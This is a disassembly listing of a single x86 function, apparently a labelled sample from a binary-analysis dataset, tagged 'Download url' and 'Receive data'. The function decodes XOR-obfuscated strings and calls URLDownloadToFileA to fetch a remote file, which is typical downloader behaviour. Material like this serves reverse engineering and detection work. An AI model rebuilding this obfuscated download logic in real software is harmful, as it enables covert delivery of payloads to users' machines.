Function at 0x10019590
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004e3d9
mov eax, dword fs:[0]
push eax
sub esp, 0xc60
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0xc5c], eax
mov byte [ebp - 0xc55], cl
mov dword [ebp - method.FileService.virtual_0], vtable.FileService.0
mov dword [ebp - 4], ecx
mov dword [ebp - method.CodeService.virtual_0], vtable.CodeService.0
mov byte [ebp - 4], 1
cmp dword [eax + 0xc], 7
jne 0x100195fa
mov al, 1
jmp 0x10019c53
add eax, 0x70
mov byte [ebp - 4], 2
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 0xc60], eax
jb 0x1001960f
mov eax, dword [eax]
mov edi, eax
lea esi, [ebp - 0xc1c]
call fcn.10020820
lea ecx, [ebp - 0xc00]
push ecx
mov ecx, eax
mov ebx, 0x100a1fd8
mov byte [ebp - 4], 3
call fcn.10019c90
add esp, 4
mov esi, dword [ebp - 0xc5c]
add esi, 0x8c
mov edi, eax
mov byte [ebp - 4], 4
call fcn.100029b0
mov ebx, 0x10
cmp dword [ebp - 0xbec], ebx
jb 0x10019669
mov edx, dword [ebp - 0xc00]
push edx
call fcn.10032db0
add esp, 4
xor esi, esi
mov edi, 0xf
mov dword [ebp - 0xbec], edi
mov dword [ebp - 0xbf0], esi
mov byte [ebp - 0xc00], 0
cmp dword [ebp - 0xc08], ebx
jb 0x1001969a
mov eax, dword [ebp - 0xc1c]
push eax
call fcn.10032db0
add esp, 4
mov dword [ebp - 0xc24], edi
mov dword [ebp - 0xc28], esi
mov byte [ebp - 0xc38], 0
mov dword [ebp - 0xc10], esi
mov dword [ebp - 0xc0c], esi
mov dword [ebp - 0xc08], esi
mov ecx, dword [ebp - 0xc60]
push 0xffffffffffffffff
push esi
push ecx
lea ecx, [ebp - 0xc38]
mov byte [ebp - 4], 6
call fcn.10002da0
lea ecx, [ebp - 0xc38]
lea edi, [ebp - 0xc10]
call fcn.1000b2d0
mov dword [ebp - method.CodeService.virtual_0], vtable.CodeService.0
push 0x3ff
lea edx, [ebp - 0x413]
push 0
mov byte [ebp - 4], 7
push edx
mov byte [ebp - 0x414], 0
call fcn.10037e50
mov ecx, dword [0x10053824]
mov eax, dword [0x10053820]
mov edx, dword [0x10053828]
mov dword [ebp - 0x410], ecx
mov cx, word [0x10053830]
mov dword [ebp - 0x414], eax
mov eax, dword [0x1005382c]
mov dword [ebp - 0x40c], edx
mov dl, byte [0x10053832]
mov ebx, 0x13
add esp, 0xc
mov word [ebp - 0x404], cx
mov dword [ebp - 0x408], eax
mov byte [ebp - 0x402], dl
lea esi, [ebp - 0x414]
lea edi, [ebx - 3]
xor ecx, ecx
lea esp, [esp]
cmp ecx, ebx
jge 0x1001978f
mov eax, ecx
cdq
idiv edi
mov al, byte [ebp + ecx - 0x414]
sub al, cl
xor al, byte [edx + 0x10053864]
inc ecx
mov byte [ecx + esi - 1], al
jmp 0x10019770
lea eax, [ebp - 0x414]
mov dword [ebp - 0xbec], 0xf
mov dword [ebp - 0xbf0], 0
mov byte [ebp - 0xc00], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100197b3
sub eax, edx
push eax
lea ecx, [ebp - 0x414]
push ecx
lea ecx, [ebp - 0xc00]
call fcn.100028b0
lea ecx, [ebp - 0xc00]
lea edi, [ebp - 0xc10]
mov byte [ebp - 4], 8
call fcn.1000b2d0
mov edi, 0x10
mov byte [ebp - 4], 7
cmp dword [ebp - 0xbec], edi
jb 0x10019804
mov edx, dword [ebp - 0xc00]
push edx
call fcn.10032db0
add esp, 4
mov ecx, dword [0x10053838]
mov eax, dword [0x10053834]
mov edx, dword [0x1005383c]
mov dword [ebp - 0x410], ecx
mov ecx, dword [0x10053844]
mov dword [ebp - 0x414], eax
mov eax, dword [0x10053840]
mov dword [ebp - 0x40c], edx
mov dx, word [0x10053848]
mov dword [ebp - 0x404], ecx
mov ebx, 0x16
mov dword [ebp - 0x408], eax
mov word [ebp - 0x400], dx
lea esi, [ebp - 0x414]
xor ecx, ecx
lea esp, [esp]
cmp ecx, ebx
jge 0x1001987f
mov eax, ecx
cdq
idiv edi
mov al, byte [ebp + ecx - 0x414]
sub al, cl
xor al, byte [edx + 0x10053864]
inc ecx
mov byte [ecx + esi - 1], al
jmp 0x10019860
lea eax, [ebp - 0x414]
mov dword [ebp - 0xbec], 0xf
mov dword [ebp - 0xbf0], 0
mov byte [ebp - 0xc00], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100198a3
sub eax, edx
push eax
lea ecx, [ebp - 0x414]
push ecx
lea ecx, [ebp - 0xc00]
call fcn.100028b0
lea ecx, [ebp - 0xc00]
lea edi, [ebp - 0xc10]
mov byte [ebp - 4], 9
call fcn.1000b2d0
mov ebx, 0x10
mov byte [ebp - 4], 7
cmp dword [ebp - 0xbec], ebx
jb 0x100198f4
mov edx, dword [ebp - 0xc00]
push edx
call fcn.10032db0
add esp, 4
mov ecx, dword [0x10053850]
mov eax, dword [0x1005384c]
mov edx, dword [0x10053854]
mov dword [ebp - 0x410], ecx
mov ecx, dword [0x1005385c]
mov dword [ebp - 0x414], eax
mov eax, dword [0x10053858]
mov dword [ebp - 0x40c], edx
mov dx, word [0x10053860]
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0xc60], 0x16
mov dword [ebp - 0x408], eax
mov word [ebp - 0x400], dx
lea esi, [ebp - 0x414]
mov edi, ebx
xor ecx, ecx
cmp ecx, dword [ebp - 0xc60]
jge 0x10019975
mov eax, ecx
cdq
idiv edi
mov bl, byte [ebp + ecx - 0x414]
sub bl, cl
xor bl, byte [edx + 0x10053864]
inc ecx
mov byte [ecx + esi - 1], bl
mov ebx, edi
jmp 0x10019950
lea eax, [ebp - 0x414]
mov dword [ebp - 0xbec], 0xf
mov dword [ebp - 0xbf0], 0
mov byte [ebp - 0xc00], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100199a0
sub eax, edx
push eax
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0xc00]
call fcn.100028b0
lea ecx, [ebp - 0xc00]
lea edi, [ebp - 0xc10]
mov byte [ebp - 4], 0xa
call fcn.1000b2d0
mov byte [ebp - 4], 7
cmp dword [ebp - 0xbec], ebx
jb 0x100199ec
mov ecx, dword [ebp - 0xc00]
push ecx
call fcn.10032db0
add esp, 4
lea edx, [ebp - 0xc10]
push edx
lea eax, [ebp - 0xc54]
push eax
call fcn.10018df0
add esp, 8
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0xc44], 0
jbe 0x10019b22
mov ecx, dword [ebp - 0xc38]
cmp dword [ebp - 0xc24], ebx
jae 0x10019a27
lea ecx, [ebp - 0xc38]
mov eax, dword [ebp - 0xc54]
cmp dword [ebp - 0xc40], ebx
jae 0x10019a3b
lea eax, [ebp - 0xc54]
push ecx
push eax
call fcn.10049a80
add esp, 8
test eax, eax
je 0x10019b22
push 0x3e8
lea ecx, [ebp - 0xbe4]
push 0
push ecx
call fcn.10037e50
push 0x3e8
lea edx, [ebp - 0x7fc]
push 0
push edx
call fcn.10037e50
mov ecx, dword [ebp - 0xc38]
add esp, 0x18
cmp dword [ebp - 0xc24], ebx
jae 0x10019a8a
lea ecx, [ebp - 0xc38]
lea edx, [ebp - 0xbe4]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x10019a90
lea eax, [ebp - 0xbdc]
push 0x10053aa4
push eax
call fcn.100365b0
add esp, 8
test eax, eax
je 0x10019b22
lea edx, [ebp - 0x414]
lea esi, [ebp - 0x7fc]
mov edi, edi
mov cl, byte [edx]
mov byte [esi], cl
inc edx
inc esi
test cl, cl
jne 0x10019ac0
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019ad0
lea edi, [ebp - 0x7fc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10019ae0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x7fc]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019b01
mov edi, dword [ebp - 0xc5c]
sub eax, edx
push eax
lea edx, [ebp - 0x7fc]
lea ecx, [edi + 0x70]
push edx
call fcn.100028b0
jmp 0x10019b28
mov edi, dword [ebp - 0xc5c]
cmp dword [edi + 0xa0], ebx
jb 0x10019b38
mov ecx, dword [edi + 0x8c]
jmp 0x10019b3e
lea ecx, [edi + 0x8c]
cmp dword [edi + 0x84], ebx
lea eax, [edi + 0x70]
jb 0x10019b4b
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x10019bb6
cmp dword [edi + 0xa0], ebx
jb 0x10019b6d
mov eax, dword [edi + 0x8c]
jmp 0x10019b73
lea eax, [edi + 0x8c]
push 0
push eax
call fcn.10036f0b
add esp, 8
cmp eax, 0xffffffff
je 0x10019ba2
cmp dword [edi + 0xa0], ebx
jb 0x10019b93
mov eax, dword [edi + 0x8c]
jmp 0x10019b99
lea eax, [edi + 0x8c]
push eax
call fcn.10036f53
add esp, 4
push 0
push 0x10053520
lea ecx, [edi + 0x8c]
call fcn.100028b0
jmp 0x10019bbd
mov byte [ebp - 0xc55], 1
cmp dword [ebp - 0xc40], ebx
jb 0x10019bd4
mov eax, dword [ebp - 0xc54]
push eax
call fcn.10032db0
add esp, 4
mov ebx, dword [ebp - 0xc10]
mov dword [ebp - 0xc40], 0xf
mov dword [ebp - 0xc44], 0
mov byte [ebp - 0xc54], 0
test ebx, ebx
je 0x10019c35
mov edi, dword [ebp - 0xc0c]
mov esi, ebx
cmp esi, edi
je 0x10019c2c
cmp dword [esi + 0x14], 0x10
jb 0x10019c16
mov ecx, dword [esi]
push ecx
call fcn.10032db0
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
add esi, 0x1c
jmp 0x10019c01
push ebx
call fcn.10032db0
add esp, 4
cmp dword [ebp - 0xc24], 0x10
jb 0x10019c4d
mov edx, dword [ebp - 0xc38]
push edx
call fcn.10032db0
add esp, 4
mov al, byte [ebp - 0xc55]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10034d4a
mov esp, ebp
pop ebp
ret 4